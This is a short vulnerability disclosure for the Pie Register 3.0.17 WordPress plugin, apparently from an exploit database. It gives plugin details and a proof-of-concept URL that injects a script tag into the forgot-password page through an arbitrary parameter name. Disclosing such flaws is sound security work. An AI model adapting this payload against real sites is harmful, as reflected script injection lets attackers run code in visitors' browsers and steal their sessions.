WordPress Pie Register 3.0.17 Cross Site Scripting

`  
===============================================================================================  
Pie Register v3.0.17 (WordPress Plugin) - Cross-Site Scripting Vulnerability in Forgot-Password  
===============================================================================================  
  
____________________________________________________________________________________  
  
  
# Exploit Title: Pie Register v3.0.17 (WordPress Plugin) - XSS Vulnerability in Forgot-Password  
  
# Date: [10-19-2018]  
  
# Category: Webapps  
____________________________________________________________________________________  
  
  
# Author: Socket_0x03 (Alvaro J. Gene)  
  
# Email: Socket_0x03 (at) teraexe (dot) com  
  
# Website: www.teraexe.com  
  
____________________________________________________________________________________  
  
  
# Software Link: https://wordpress.org/plugins/pie-register  
  
# Plugin: Pie Register  
  
# Version: v3.0.17 (last version)  
  
# File: Forgot-Password  
  
# Language: This application is available in English language.  
  
# Plugin Description: Pie Register is a WordPress plugin that an administrator can   
use to create different kinds of forms without programming knowledge. In addition,   
an administrator can use Pie Register for payment features; for example, if an   
administrator is using Pie Register to provide some kind of service, he/she can  
charge an amount to his/her users via PayPal.  
  
____________________________________________________________________________________  
  
  
# Cross-Site Scripting Vulnerability:  
  
Name of an arbitrarily supplied URL parameter:  
http://www.website.com/wordpress/index.php/forgot-password/?i4pk8"><script>alert(23)</script>t28bu=1  
`